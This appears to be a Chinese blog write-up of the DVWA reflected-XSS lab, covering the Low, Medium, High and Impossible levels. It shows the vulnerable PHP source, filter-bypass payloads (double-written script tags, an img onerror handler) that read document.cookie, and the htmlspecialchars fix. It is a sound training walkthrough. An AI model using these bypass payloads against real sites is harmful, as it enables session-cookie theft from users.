反射性XSS,是非持久性,也是最常见的XSS,通过解析传入前段页面,常见为交互式输入框

LOW

审计源码


<?php
// 发送请求头
header ("X-XSS-Protection: 0"); // 判断是否传入是否通过 name 键名传参
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 将 name 传入的内容输入到页面
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
} ?>

没有对传参name进行任何过滤,所以可以直接进行弹窗

<script>alert(document.cookie)</script>



成功获取cookie

反弹cookie可以去看我的另一篇博客,DVWA-XSS (DOM) DOM型跨站脚本攻击

Medium

审计源码


<?php
// 设置请求头
header ("X-XSS-Protection: 0"); // 判断是否传入 name 键名,和 name 的值是否为空
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 获取传入的 name值
// str_replace 替换 <script> 为空
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // 将name 传参内容输入到页面
echo "<pre>Hello ${name}</pre>";
} ?>

这里将我们传入的<script>脚本标签转为了空,根据str_replace函数的特性,只会进行一个过滤,所以可以进行双写绕过

<scri<script>pt>alert(document.cookie)</script>



成功弹窗

High

审计源码


<?php
// 设置请求头
header ("X-XSS-Protection: 0"); // 判断 name 是否传承那
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 获取传入的内容
// 使用 preg_replace 进行正则匹配
// /.../之间的内容为正则匹配语法
// .匹配除了换行的任意字符
// * 匹配前面表达式零次或者多次
// .* 就是匹配任意字符
// /i 不区分大小写
// 对 <script> 标签进行了严格的过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // 将 name 输入到页面
echo "<pre>Hello ${name}</pre>";
} ?>

<script>标签进行了严格的过滤,可以使用<img />src自加载特性,进行弹窗

<img src=1 onerror='alert(document.cookie)' />



成功弹窗

Impossible

审计源码

<?php

// 判断是否传入 name
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 检查 user_token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 获取传入的 name
// htmlspecialchars() 函数会对 html 标签进行实例化
$name = htmlspecialchars( $_GET[ 'name' ] ); // 将 name 输入到页面
echo "<pre>Hello ${name}</pre>";
} // 生成user_token
generateSessionToken(); ?>

可以看到,XSS也是非常容易防护的,只需要使用htmlspecialchars函数对html标签进行实例化即可

DVWA-XSS (Reflected) 反射性 XSS的更多相关文章

  1. DVWA XSS (Reflected) 通关教程

    XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...

  2. DVWA靶场实战(十一)——XSS(Reflected)

    DVWA靶场实战(十一) 十一.XSS(Reflected): 1.漏洞原理: XSS被称为跨站脚本攻击(Cross Site Script),而Reflected被称作反射型XSS.不同于DOM和S ...

  3. DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】

    XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...

  4. XSS Reflected 测试

    由于最近在做XSS方面的测试,于是找到了DVWA平台进行实验测试,通过这三篇文章让大家了解XSS方面的大概内容,这三篇文章只是把你领进XSS的大门,要想真正深入的学习XSS,你还需要去学习很多东西来提 ...

  5. 某大型网络社区传播性XSS分析

    某大型网络社区传播性XSS分析 这个XSS存在于天涯某个不起眼的子论坛,通过发布新帖子可以触发.         漏洞分析    论坛针对XSS有一定过滤措施,例如转义单双引号,过滤左右尖括号等等.所 ...

  6. DVWA(七):XSS(stored)存储型XSS攻击

    存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...

  7. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  8. [80Sec]深掘XSS漏洞场景之XSS Rootkit

    顶80SEC的牛. 深掘XSS漏洞场景之XSS Rootkit[完整修订版] EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011 ...

  9. Java Web使用过滤器防止Xss攻击,解决Xss漏洞

    转: Java Web使用过滤器防止Xss攻击,解决Xss漏洞 2018年11月11日 10:41:27 我欲乘风,直上九天 阅读数:2687   版权声明:本文为博主原创文章,转载请注明出处!有时候 ...

  10. xss构造--如何使用xss语句

    XSS的构造 1.利用[<>]构造html/js 如[<script>alert(/xss/)</script>] 2.伪协议 使用javascript:伪协议来构 ...

随机推荐

  1. UnityAndroid 获取根目录文件

    1. 在Unity打包时获取SD权限 2. Android根目录为 "/storage/emulated/0"; 代码: if (Directory.Exists("/s ...

  2. 天龙八部<三联版>二

    段誉来到无锡,遇上乔峰,斗气与乔峰比酒,乔峰误以为段誉是慕容复,段誉被乔峰豪气所折服,像乔峰坦言,乔峰不但不怒,反而对段誉很认可,二人结拜 段誉跟随乔峰来到丐帮,包不同和三女因为慕容复而和丐帮发生争执 ...

  3. 向excel中写数据的python代码

    ①首先需要安装xlwt插件 安装语句:pip install xlwt ②python代码 1 import xlwt 2 ''' 3 调用xlwt模块中的Workbook方法来创建一个excel表格 ...

  4. Docker基本命令之 容器管理

    容器管理 查看正在运行的容器: docker ps 查看完整信息:docker ps --no-trunc 查看在运行或停止运行的容器:docker ps -a 查看容器系统资源的使用情况:docke ...

  5. oracle函数及相关问题

    show user 查看当前用户select * from tab: 查看当前数据库中的表desc 表名 : 查看表结构 between and 包含开头结尾 函数: months_between(a ...

  6. Linux定时运行Python代码

    背景 之前定时运行py文件都是jenkins设置定时任务运行,今天想linux有没有定时运行的东西,百度一下找到了,链接:http://blog.csdn.net/netdxy/article/det ...

  7. md5加密js内容

    避免以后都得百度,直接留一份存档 /* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Diges ...

  8. 独显坏掉,openSUSE启动黑屏卡死

    我的Dell Vostro 1440配置双显卡,独显是 AMD 的.可能是因为散热的问题,独显烧坏了.原先每次启动都有 openSUSE 的圆形启动动画,显卡烧坏后,启动动画变成三个点. 装 Debi ...

  9. window.location.href 下载文件页面出现跳转 (重定向失效的问题)

    页面出现跳转的话,要去检查请求的接口是不是出现了问题. 解决方法:URL前面加 "/" ${process.env.VUE_APP_BASE_API}   /   ${url}

  10. Vue的学习(1)

    在学习Vue之前,首先大家要知道一个mvvm模式,何为mvvm模式呢,mvvm其实是有m,v和vm组成,类似与java里面的mvc模式,只不过mvc模式是针对于后台来说,而mvvm是针对于前台来说的, ...